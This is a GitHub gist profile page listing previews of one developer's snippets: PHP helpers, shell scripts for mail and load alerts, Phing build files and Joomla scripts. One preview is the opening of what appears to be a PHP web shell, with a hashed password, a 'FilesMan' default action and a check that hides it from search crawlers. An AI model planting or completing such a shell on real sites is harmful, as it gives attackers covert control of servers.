Skip to content

Instantly share code, notes, and snippets.

View SmetDenis's full-sized avatar
🏠
Working at home

Denis Smet SmetDenis

🏠
Working at home
View GitHub Profile
function openFile($path) {
$contents = null;
if ($realPath = realpath($path)) {
$handle = fopen($path, "rb");
$contents = fread($handle, filesize($path));
fclose($handle);
}
@SmetDenis
SmetDenis / .codeclimate.yml
Created July 31, 2015 18:47
New PHP Project on Github
languages:
PHP: true
exclude_paths:
- tests/*
#!/bin/sh
# http://habrahabr.ru/post/49665/
prefix="/var/mail/sendmail/new"
numPath="/var/mail/sendmail"
if [ ! -f $numPath/num ]; then
echo "0" > $numPath/num
fi
#!/bin/bash
#
# Script to send email notification if a server exceeds a specified load average.
#
# Selected load average limit. If above this number a notification message will be emailed.
NOTIFY="1"
EMAIL="admin@example.com"
TRUE="1"
@SmetDenis
SmetDenis / build.xml
Last active August 29, 2015 14:26 — forked from bluntik/build.xml
<?xml version="1.0" encoding="UTF-8"?>
<project name="builder" default="build">
<!-- Sets the DSTAMP, TSTAMP and TODAY properties -->
<tstamp/>
<!-- ============================================ -->
<!-- Target: build -->
<!-- ============================================ -->
<target name="build" description="Загрузка управляющего меню">
<?php
$auth_pass = "eaf02c22c483aa6b6510118dd3524c2c";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@SmetDenis
SmetDenis / build.xml
Last active August 29, 2015 14:27 — forked from vdubyna/build.xml
php and teamcity
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application" default="build" basedir="../">
<target name="build" depends="prepare,phpunit,phpmd,phpcpd,phpdoc,phpcb,phpdcd,phploc,phpcs"/>
<property name="applicationDir" value="${basedir}/source" />
<property name="buildDir" value="${basedir}/build" />
<target name="prepare">
<mkdir dir="${buildDir}/logs" />
<?php
if (file_exists( JPATH_ADMINISTRATOR . '/components/com_comprofiler/plugin.foundation.php' ) ) {
include_once( JPATH_ADMINISTRATOR . '/components/com_comprofiler/plugin.foundation.php' );
if (class_exists('CBuser')) {
$user = JFactory::getUser();
if ($user && $user->id) {
$cbUser = CBuser::getInstance($user->id);
$user = $cbUser->getUserData();
dump($cbUser, 0);
<?php
/**
* @param string $input
* @return mixed|string
*/
function CamelCase2Human($input)
{
$original = $input;
@SmetDenis
SmetDenis / install.sh
Last active August 29, 2015 14:27 — forked from Naouak/install.sh
Joomla Extension installation with command line
#!/bin/sh
# Joomla extension auto installation
# Use that for development purpose, don't ever think of using it on a production website.
# The developer of that script won't endorse any problem you may encounter by using this script: Use it at your own risk!
# Please configure the three first params before using it.
# Usage :
# ./install.sh
# Will try to install every dir in the current dir
# ./install.sh directory